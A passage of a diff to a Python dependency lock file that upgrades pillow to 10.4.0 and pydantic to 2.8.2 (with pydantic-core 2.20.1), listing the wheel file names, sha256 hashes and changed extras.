"pillow-10.3.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b50811d664d392f02f7761621303eba9d1b056fb1868c8cdf4231279645c25f5"}, - {file = "pillow-10.3.0-cp310-cp310-win32.whl", hash = "sha256:ca2870d5d10d8726a27396d3ca4cf7976cec0f3cb706debe88e3a5bd4610f7d2"}, - {file = "pillow-10.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:f0d0591a0aeaefdaf9a5e545e7485f89910c977087e7de2b6c388aec32011e9f"}, - {file = "pillow-10.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:ccce24b7ad89adb5a1e34a6ba96ac2530046763912806ad4c247356a8f33a67b"}, - {file = "pillow-10.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:5f77cf66e96ae734717d341c145c5949c63180842a545c47a0ce7ae52ca83795"}, - {file = "pillow-10.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e4b878386c4bf293578b48fc570b84ecfe477d3b77ba39a6e87150af77f40c57"}, - {file = "pillow-10.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fdcbb4068117dfd9ce0138d068ac512843c52295ed996ae6dd1faf537b6dbc27"}, - {file = "pillow-10.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9797a6c8fe16f25749b371c02e2ade0efb51155e767a971c61734b1bf6293994"}, - {file = "pillow-10.3.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:9e91179a242bbc99be65e139e30690e081fe6cb91a8e77faf4c409653de39451"}, - {file = "pillow-10.3.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:1b87bd9d81d179bd8ab871603bd80d8645729939f90b71e62914e816a76fc6bd"}, - {file = "pillow-10.3.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:81d09caa7b27ef4e61cb7d8fbf1714f5aec1c6b6c5270ee53504981e6e9121ad"}, - {file = "pillow-10.3.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:048ad577748b9fa4a99a0548c64f2cb8d672d5bf2e643a739ac8faff1164238c"}, - {file = "pillow-10.3.0-cp311-cp311-win32.whl", hash = "sha256:7161ec49ef0800947dc5570f86568a7bb36fa97dd09e9827dc02b718c5643f09"}, - {file = "pillow-10.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:8eb0908e954d093b02a543dc963984d6e99ad2b5e36503d8a0aaf040505f747d"}, - {file = "pillow-10.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:4e6f7d1c414191c1199f8996d3f2282b9ebea0945693fb67392c75a3a320941f"}, - {file = "pillow-10.3.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:e46f38133e5a060d46bd630faa4d9fa0202377495df1f068a8299fd78c84de84"}, - {file = "pillow-10.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:50b8eae8f7334ec826d6eeffaeeb00e36b5e24aa0b9df322c247539714c6df19"}, - {file = "pillow-10.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9d3bea1c75f8c53ee4d505c3e67d8c158ad4df0d83170605b50b64025917f338"}, - {file = "pillow-10.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:19aeb96d43902f0a783946a0a87dbdad5c84c936025b8419da0a0cd7724356b1"}, - {file = "pillow-10.3.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:74d28c17412d9caa1066f7a31df8403ec23d5268ba46cd0ad2c50fb82ae40462"}, - {file = "pillow-10.3.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:ff61bfd9253c3915e6d41c651d5f962da23eda633cf02262990094a18a55371a"}, - {file = "pillow-10.3.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d886f5d353333b4771d21267c7ecc75b710f1a73d72d03ca06df49b09015a9ef"}, - {file = "pillow-10.3.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4b5ec25d8b17217d635f8935dbc1b9aa5907962fae29dff220f2659487891cd3"}, - {file = "pillow-10.3.0-cp312-cp312-win32.whl", hash = "sha256:51243f1ed5161b9945011a7360e997729776f6e5d7005ba0c6879267d4c5139d"}, - {file = "pillow-10.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:412444afb8c4c7a6cc11a47dade32982439925537e483be7c0ae0cf96c4f6a0b"}, - {file = "pillow-10.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:798232c92e7665fe82ac085f9d8e8ca98826f8e27859d9a96b41d519ecd2e49a"}, - {file = "pillow-10.3.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:4eaa22f0d22b1a7e93ff0a596d57fdede2e550aecffb5a1ef1106aaece48e96b"}, - {file = "pillow-10.3.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:cd5e14fbf22a87321b24c88669aad3a51ec052eb145315b3da3b7e3cc105b9a2"}, - {file = "pillow-10.3.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1530e8f3a4b965eb6a7785cf17a426c779333eb62c9a7d1bbcf3ffd5bf77a4aa"}, - {file = "pillow-10.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d512aafa1d32efa014fa041d38868fda85028e3f930a96f85d49c7d8ddc0383"}, - {file = "pillow-10.3.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:339894035d0ede518b16073bdc2feef4c991ee991a29774b33e515f1d308e08d"}, - {file = "pillow-10.3.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:aa7e402ce11f0885305bfb6afb3434b3cd8f53b563ac065452d9d5654c7b86fd"}, - {file = "pillow-10.3.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0ea2a783a2bdf2a561808fe4a7a12e9aa3799b701ba305de596bc48b8bdfce9d"}, - {file = "pillow-10.3.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:c78e1b00a87ce43bb37642c0812315b411e856a905d58d597750eb79802aaaa3"}, - {file = "pillow-10.3.0-cp38-cp38-win32.whl", hash = "sha256:72d622d262e463dfb7595202d229f5f3ab4b852289a1cd09650362db23b9eb0b"}, - {file = "pillow-10.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:2034f6759a722da3a3dbd91a81148cf884e91d1b747992ca288ab88c1de15999"}, - {file = "pillow-10.3.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:2ed854e716a89b1afcedea551cd85f2eb2a807613752ab997b9974aaa0d56936"}, - {file = "pillow-10.3.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:dc1a390a82755a8c26c9964d457d4c9cbec5405896cba94cf51f36ea0d855002"}, - {file = "pillow-10.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4203efca580f0dd6f882ca211f923168548f7ba334c189e9eab1178ab840bf60"}, - {file = "pillow-10.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3102045a10945173d38336f6e71a8dc71bcaeed55c3123ad4af82c52807b9375"}, - {file = "pillow-10.3.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:6fb1b30043271ec92dc65f6d9f0b7a830c210b8a96423074b15c7bc999975f57"}, - {file = "pillow-10.3.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:1dfc94946bc60ea375cc39cff0b8da6c7e5f8fcdc1d946beb8da5c216156ddd8"}, - {file = "pillow-10.3.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b09b86b27a064c9624d0a6c54da01c1beaf5b6cadfa609cf63789b1d08a797b9"}, - {file = "pillow-10.3.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d3b2348a78bc939b4fed6552abfd2e7988e0f81443ef3911a4b8498ca084f6eb"}, - {file = "pillow-10.3.0-cp39-cp39-win32.whl", hash = "sha256:45ebc7b45406febf07fef35d856f0293a92e7417ae7933207e90bf9090b70572"}, - {file = "pillow-10.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:0ba26351b137ca4e0db0342d5d00d2e355eb29372c05afd544ebf47c0956ffeb"}, - {file = "pillow-10.3.0-cp39-cp39-win_arm64.whl", hash = "sha256:50fd3f6b26e3441ae07b7c979309638b72abc1a25da31a81a7fbd9495713ef4f"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:6b02471b72526ab8a18c39cb7967b72d194ec53c1fd0a70b050565a0f366d355"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:8ab74c06ffdab957d7670c2a5a6e1a70181cd10b727cd788c4dd9005b6a8acd9"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:048eeade4c33fdf7e08da40ef402e748df113fd0b4584e32c4af74fe78baaeb2"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e2ec1e921fd07c7cda7962bad283acc2f2a9ccc1b971ee4b216b75fad6f0463"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:4c8e73e99da7db1b4cad7f8d682cf6abad7844da39834c288fbfa394a47bbced"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:16563993329b79513f59142a6b02055e10514c1a8e86dca8b48a893e33cf91e3"}, - {file = "pillow-10.3.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:dd78700f5788ae180b5ee8902c6aea5a5726bac7c364b202b4b3e3ba2d293170"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:aff76a55a8aa8364d25400a210a65ff59d0168e0b4285ba6bf2bd83cf675ba32"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:b7bc2176354defba3edc2b9a777744462da2f8e921fbaf61e52acb95bafa9828"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:793b4e24db2e8742ca6423d3fde8396db336698c55cd34b660663ee9e45ed37f"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d93480005693d247f8346bc8ee28c72a2191bdf1f6b5db469c096c0c867ac015"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c83341b89884e2b2e55886e8fbbf37c3fa5efd6c8907124aeb72f285ae5696e5"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1a1d1915db1a4fdb2754b9de292642a39a7fb28f1736699527bb649484fb966a"}, - {file = "pillow-10.3.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a0eaa93d054751ee9964afa21c06247779b90440ca41d184aeb5d410f20ff591"}, - {file = "pillow-10.3.0.tar.gz", hash = "sha256:9d2455fbf44c914840c793e89aa82d0e1763a14253a000743719ae5946814b2d"}, + {file = "pillow-10.4.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:4d9667937cfa347525b319ae34375c37b9ee6b525440f3ef48542fcf66f2731e"}, + {file = "pillow-10.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:543f3dc61c18dafb755773efc89aae60d06b6596a63914107f75459cf984164d"}, + {file = "pillow-10.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7928ecbf1ece13956b95d9cbcfc77137652b02763ba384d9ab508099a2eca856"}, + {file = "pillow-10.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4d49b85c4348ea0b31ea63bc75a9f3857869174e2bf17e7aba02945cd218e6f"}, + {file = "pillow-10.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:6c762a5b0997f5659a5ef2266abc1d8851ad7749ad9a6a5506eb23d314e4f46b"}, + {file = "pillow-10.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a985e028fc183bf12a77a8bbf36318db4238a3ded7fa9df1b9a133f1cb79f8fc"}, + {file = "pillow-10.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:812f7342b0eee081eaec84d91423d1b4650bb9828eb53d8511bcef8ce5aecf1e"}, + {file = "pillow-10.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ac1452d2fbe4978c2eec89fb5a23b8387aba707ac72810d9490118817d9c0b46"}, + {file = "pillow-10.4.0-cp310-cp310-win32.whl", hash = "sha256:bcd5e41a859bf2e84fdc42f4edb7d9aba0a13d29a2abadccafad99de3feff984"}, + {file = "pillow-10.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:ecd85a8d3e79cd7158dec1c9e5808e821feea088e2f69a974db5edf84dc53141"}, + {file = "pillow-10.4.0-cp310-cp310-win_arm64.whl", hash = "sha256:ff337c552345e95702c5fde3158acb0625111017d0e5f24bf3acdb9cc16b90d1"}, + {file = "pillow-10.4.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:0a9ec697746f268507404647e531e92889890a087e03681a3606d9b920fbee3c"}, + {file = "pillow-10.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dfe91cb65544a1321e631e696759491ae04a2ea11d36715eca01ce07284738be"}, + {file = "pillow-10.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dc6761a6efc781e6a1544206f22c80c3af4c8cf461206d46a1e6006e4429ff3"}, + {file = "pillow-10.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e84b6cc6a4a3d76c153a6b19270b3526a5a8ed6b09501d3af891daa2a9de7d6"}, + {file = "pillow-10.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:bbc527b519bd3aa9d7f429d152fea69f9ad37c95f0b02aebddff592688998abe"}, + {file = "pillow-10.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:76a911dfe51a36041f2e756b00f96ed84677cdeb75d25c767f296c1c1eda1319"}, + {file = "pillow-10.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:59291fb29317122398786c2d44427bbd1a6d7ff54017075b22be9d21aa59bd8d"}, + {file = "pillow-10.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:416d3a5d0e8cfe4f27f574362435bc9bae57f679a7158e0096ad2beb427b8696"}, + {file = "pillow-10.4.0-cp311-cp311-win32.whl", hash = "sha256:7086cc1d5eebb91ad24ded9f58bec6c688e9f0ed7eb3dbbf1e4800280a896496"}, + {file = "pillow-10.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:cbed61494057c0f83b83eb3a310f0bf774b09513307c434d4366ed64f4128a91"}, + {file = "pillow-10.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:f5f0c3e969c8f12dd2bb7e0b15d5c468b51e5017e01e2e867335c81903046a22"}, + {file = "pillow-10.4.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:673655af3eadf4df6b5457033f086e90299fdd7a47983a13827acf7459c15d94"}, + {file = "pillow-10.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:866b6942a92f56300012f5fbac71f2d610312ee65e22f1aa2609e491284e5597"}, + {file = "pillow-10.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29dbdc4207642ea6aad70fbde1a9338753d33fb23ed6956e706936706f52dd80"}, + {file = "pillow-10.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf2342ac639c4cf38799a44950bbc2dfcb685f052b9e262f446482afaf4bffca"}, + {file = "pillow-10.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:f5b92f4d70791b4a67157321c4e8225d60b119c5cc9aee8ecf153aace4aad4ef"}, + {file = "pillow-10.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:86dcb5a1eb778d8b25659d5e4341269e8590ad6b4e8b44d9f4b07f8d136c414a"}, + {file = "pillow-10.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:780c072c2e11c9b2c7ca37f9a2ee8ba66f44367ac3e5c7832afcfe5104fd6d1b"}, + {file = "pillow-10.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:37fb69d905be665f68f28a8bba3c6d3223c8efe1edf14cc4cfa06c241f8c81d9"}, + {file = "pillow-10.4.0-cp312-cp312-win32.whl", hash = "sha256:7dfecdbad5c301d7b5bde160150b4db4c659cee2b69589705b6f8a0c509d9f42"}, + {file = "pillow-10.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:1d846aea995ad352d4bdcc847535bd56e0fd88d36829d2c90be880ef1ee4668a"}, + {file = "pillow-10.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:e553cad5179a66ba15bb18b353a19020e73a7921296a7979c4a2b7f6a5cd57f9"}, + {file = "pillow-10.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8bc1a764ed8c957a2e9cacf97c8b2b053b70307cf2996aafd70e91a082e70df3"}, + {file = "pillow-10.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6209bb41dc692ddfee4942517c19ee81b86c864b626dbfca272ec0f7cff5d9fb"}, + {file = "pillow-10.4.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bee197b30783295d2eb680b311af15a20a8b24024a19c3a26431ff83eb8d1f70"}, + {file = "pillow-10.4.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ef61f5dd14c300786318482456481463b9d6b91ebe5ef12f405afbba77ed0be"}, + {file = "pillow-10.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:297e388da6e248c98bc4a02e018966af0c5f92dfacf5a5ca22fa01cb3179bca0"}, + {file = "pillow-10.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:e4db64794ccdf6cb83a59d73405f63adbe2a1887012e308828596100a0b2f6cc"}, + {file = "pillow-10.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bd2880a07482090a3bcb01f4265f1936a903d70bc740bfcb1fd4e8a2ffe5cf5a"}, + {file = "pillow-10.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4b35b21b819ac1dbd1233317adeecd63495f6babf21b7b2512d244ff6c6ce309"}, + {file = "pillow-10.4.0-cp313-cp313-win32.whl", hash = "sha256:551d3fd6e9dc15e4c1eb6fc4ba2b39c0c7933fa113b220057a34f4bb3268a060"}, + {file = "pillow-10.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:030abdbe43ee02e0de642aee345efa443740aa4d828bfe8e2eb11922ea6a21ea"}, + {file = "pillow-10.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:5b001114dd152cfd6b23befeb28d7aee43553e2402c9f159807bf55f33af8a8d"}, + {file = "pillow-10.4.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:8d4d5063501b6dd4024b8ac2f04962d661222d120381272deea52e3fc52d3736"}, + {file = "pillow-10.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7c1ee6f42250df403c5f103cbd2768a28fe1a0ea1f0f03fe151c8741e1469c8b"}, + {file = "pillow-10.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b15e02e9bb4c21e39876698abf233c8c579127986f8207200bc8a8f6bb27acf2"}, + {file = "pillow-10.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a8d4bade9952ea9a77d0c3e49cbd8b2890a399422258a77f357b9cc9be8d680"}, + {file = "pillow-10.4.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:43efea75eb06b95d1631cb784aa40156177bf9dd5b4b03ff38979e048258bc6b"}, + {file = "pillow-10.4.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:950be4d8ba92aca4b2bb0741285a46bfae3ca699ef913ec8416c1b78eadd64cd"}, + {file = "pillow-10.4.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d7480af14364494365e89d6fddc510a13e5a2c3584cb19ef65415ca57252fb84"}, + {file = "pillow-10.4.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:73664fe514b34c8f02452ffb73b7a92c6774e39a647087f83d67f010eb9a0cf0"}, + {file = "pillow-10.4.0-cp38-cp38-win32.whl", hash = "sha256:e88d5e6ad0d026fba7bdab8c3f225a69f063f116462c49892b0149e21b6c0a0e"}, + {file = "pillow-10.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:5161eef006d335e46895297f642341111945e2c1c899eb406882a6c61a4357ab"}, + {file = "pillow-10.4.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:0ae24a547e8b711ccaaf99c9ae3cd975470e1a30caa80a6aaee9a2f19c05701d"}, + {file = "pillow-10.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:298478fe4f77a4408895605f3482b6cc6222c018b2ce565c2b6b9c354ac3229b"}, + {file = "pillow-10.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:134ace6dc392116566980ee7436477d844520a26a4b1bd4053f6f47d096997fd"}, + {file = "pillow-10.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:930044bb7679ab003b14023138b50181899da3f25de50e9dbee23b61b4de2126"}, + {file = "pillow-10.4.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:c76e5786951e72ed3686e122d14c5d7012f16c8303a674d18cdcd6d89557fc5b"}, + {file = "pillow-10.4.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:b2724fdb354a868ddf9a880cb84d102da914e99119211ef7ecbdc613b8c96b3c"}, + {file = "pillow-10.4.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:dbc6ae66518ab3c5847659e9988c3b60dc94ffb48ef9168656e0019a93dbf8a1"}, + {file = "pillow-10.4.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:06b2f7898047ae93fad74467ec3d28fe84f7831370e3c258afa533f81ef7f3df"}, + {file = "pillow-10.4.0-cp39-cp39-win32.whl", hash = "sha256:7970285ab628a3779aecc35823296a7869f889b8329c16ad5a71e4901a3dc4ef"}, + {file = "pillow-10.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:961a7293b2457b405967af9c77dcaa43cc1a8cd50d23c532e62d48ab6cdd56f5"}, + {file = "pillow-10.4.0-cp39-cp39-win_arm64.whl", hash = "sha256:32cda9e3d601a52baccb2856b8ea1fc213c90b340c542dcef77140dfa3278a9e"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:5b4815f2e65b30f5fbae9dfffa8636d992d49705723fe86a3661806e069352d4"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:8f0aef4ef59694b12cadee839e2ba6afeab89c0f39a3adc02ed51d109117b8da"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9f4727572e2918acaa9077c919cbbeb73bd2b3ebcfe033b72f858fc9fbef0026"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff25afb18123cea58a591ea0244b92eb1e61a1fd497bf6d6384f09bc3262ec3e"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:dc3e2db6ba09ffd7d02ae9141cfa0ae23393ee7687248d46a7507b75d610f4f5"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:02a2be69f9c9b8c1e97cf2713e789d4e398c751ecfd9967c18d0ce304efbf885"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:0755ffd4a0c6f267cccbae2e9903d95477ca2f77c4fcf3a3a09570001856c8a5"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:a02364621fe369e06200d4a16558e056fe2805d3468350df3aef21e00d26214b"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:1b5dea9831a90e9d0721ec417a80d4cbd7022093ac38a568db2dd78363b00908"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b885f89040bb8c4a1573566bbb2f44f5c505ef6e74cec7ab9068c900047f04b"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87dd88ded2e6d74d31e1e0a99a726a6765cda32d00ba72dc37f0651f306daaa8"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:2db98790afc70118bd0255c2eeb465e9767ecf1f3c25f9a1abb8ffc8cfd1fe0a"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:f7baece4ce06bade126fb84b8af1c33439a76d8a6fd818970215e0560ca28c27"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:cfdd747216947628af7b259d274771d84db2268ca062dd5faf373639d00113a3"}, + {file = "pillow-10.4.0.tar.gz", hash = "sha256:166c1cd4d24309b30d61f79f4a9114b7b2313d7450912277855ff5dfd7cd4a06"}, ] [package.extras] -docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-removed-in", "sphinxext-opengraph"] +docs = ["furo", "olefile", "sphinx (>=7.3)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] fpx = ["olefile"] mic = ["olefile"] tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] @@ -1737,109 +1749,119 @@ files = [ [[package]] name = "pydantic" -version = "2.7.4" +version = "2.8.2" description = "Data validation using Python type hints" optional = false python-versions = ">=3.8" files = [ - {file = "pydantic-2.7.4-py3-none-any.whl", hash = "sha256:ee8538d41ccb9c0a9ad3e0e5f07bf15ed8015b481ced539a1759d8cc89ae90d0"}, - {file = "pydantic-2.7.4.tar.gz", hash = "sha256:0c84efd9548d545f63ac0060c1e4d39bb9b14db8b3c0652338aecc07b5adec52"}, + {file = "pydantic-2.8.2-py3-none-any.whl", hash = "sha256:73ee9fddd406dc318b885c7a2eab8a6472b68b8fb5ba8150949fc3db939f23c8"}, + {file = "pydantic-2.8.2.tar.gz", hash = "sha256:6f62c13d067b0755ad1c21a34bdd06c0c12625a22b0fc09c6b149816604f7c2a"}, ] [package.dependencies] annotated-types = ">=0.4.0" -pydantic-core = "2.18.4" -typing-extensions = ">=4.6.1" +pydantic-core = "2.20.1" +typing-extensions = {version = ">=4.6.1", markers = "python_version < \"3.13\""} [package.extras] email = ["email-validator (>=2.0.0)"] [[package]] name = "pydantic-core" -version = "2.18.4" +version = "2.20.1" description = "Core functionality for Pydantic validation and serialization" optional = false python-versions = ">=3.8" files = [ - {file = "pydantic_core-2.18.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:f76d0ad001edd426b92233d45c746fd08f467d56100fd8f30e9ace4b005266e4"}, - {file = "pydantic_core-2.18.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:59ff3e89f4eaf14050c8022011862df275b552caef8082e37b542b066ce1ff26"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a55b5b16c839df1070bc113c1f7f94a0af4433fcfa1b41799ce7606e5c79ce0a"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4d0dcc59664fcb8974b356fe0a18a672d6d7cf9f54746c05f43275fc48636851"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8951eee36c57cd128f779e641e21eb40bc5073eb28b2d23f33eb0ef14ffb3f5d"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4701b19f7e3a06ea655513f7938de6f108123bf7c86bbebb1196eb9bd35cf724"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e00a3f196329e08e43d99b79b286d60ce46bed10f2280d25a1718399457e06be"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:97736815b9cc893b2b7f663628e63f436018b75f44854c8027040e05230eeddb"}, - {file = "pydantic_core-2.18.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = 